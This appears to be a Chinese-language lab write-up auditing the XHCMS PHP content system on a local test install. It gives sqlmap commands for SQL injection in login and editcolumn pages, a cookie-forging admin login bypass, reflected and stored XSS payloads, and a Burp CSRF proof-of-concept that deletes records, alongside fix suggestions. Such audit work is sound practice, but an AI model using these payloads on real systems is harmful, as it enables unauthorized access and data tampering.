环境搭建

xhcms环境部署

  1. 下载xhcms压缩包并解压到网站目录

  2. 在phpstudy中添加xhcms网站并启用,并停用其他网站

  3. 勾选管理->php扩展->php_xdebug,并重启apache

  4. 打开mysql文件位置下的bin文件夹,并开启当前位置打开cmd,输入mysql -u root -p连接mysql

  5. 创建数据库xhcms

  6. 打开网页访问,url后添加install目录,访问安装页面

Phpstorm调试环境配置

  1. 点击左上角文件然后配置php可执行文件目录

  2. 打开网站目录文件,并且点击编辑配置->编辑配置模板,选择php网页,配置服务器和浏览器

  3. 点开index.php并打上断点,点击调试

seay源代码审计

adset.php的ad1参数经过addslashes()转义,网站本身也没有宽字节,所有没有SQL注入

垂直越权登录后台

后台文件包含了checklogin,疑似是检查登录,跟进

通过一个简单的判断,判断cookie中的user字段是否为空,如果为空,则重定向到登录界面

访问http:///admin页面并抓包,添加Cookie

成功登录到后台

此时我们进行操作还是会验证Cookie所以可以使用Cookie-Editor插件自动添加Cookie

修复建议

修改checklogin.php

login.php

需要登录的点加上session_start

SQL注入

修复建议,预编译,过滤

login.php

传入user参数未经任何过滤就拼接在sql语句中

使用BP抓登录包,发现是POST请求,将包中的需要注入的user字段打上*

将包保存在url.txt中,使用sqlmap的-r参数加载文件

1
python sqlmap.py -r url.txt --risk 2 --level 1

sqlmap检测出有报错和时间注入

1
python sqlmap.py -r url.txt --current-db

editcolumn.php

这个点也没有经过过滤,直接拼接到SQL语句中

1
/admin/?r=editcolumn&id=%27&type=1

传入type和id,发现页面报错

1
python sqlmap.py -u "http://xhcms.gusheng/admin/?r=editcolumn&id=*&type=1" --cookie "user=admin" --flush-session --level 1 --risk 2

发现存在时间注入,联合注入,盲注

1
python sqlmap.py -u "http://xhcms.gusheng/admin/?r=editcolumn&id=*&type=1" --cookie "user=admin" --level 1 --risk 2  --current-db

XSS

修复建议:对数据进行过滤

反射型

payload

1
http://xhcms.gusheng/?r=contact&page=<script>alert(1)</script>

存储型

adset.php

上面查询到的ad广告配置被输出到了textarea标签中,那么可以通过上文中没有成功SQL注入传入XSS代码

发现并没有触发

所以特地编写了一个HTML文件来验证,script确实不生效

1
2
3
4
5
6
7
8
9
10
11
12
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<title>Title</title>
</head>
<body>
<label>
<textarea name="ad1"><script>alert(xss)<、script></textarea>
</label>
</body>
</html>

尝试闭合textarea标签

edircolumn.php

成功弹窗

contact.php

这里将get请求先转义然后拼接页面,构成了反射型XSS

1
http://xhcms.gusheng/?r=contact&page=%3Cscript%3Ealert(3)%3C/script%3E

CSRF

使用session_start验证后就基本不存在了

使用管理员登录后台打开栏目列表,点击删除操作并抓包(然后丢弃),右键成成CSRF PoC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<form action="http://xhcms.gusheng/admin/">
<input type="hidden" name="r" value="columnlist" />
<input type="hidden" name="delete" value="3" />
<input type="submit" value="Submit request" />
</form>
<script>
history.pushState('', '', '/');
document.forms[0].submit();
</script>
</body>
</html>

打开一台虚拟机,开启WEB服务,将生成的PoC放在里面,这里我临时使用VPS创建文件

然后使用另一个浏览器登录其他管理员,访问此PoC

回到管理员后台发现id为3的已经成功被删除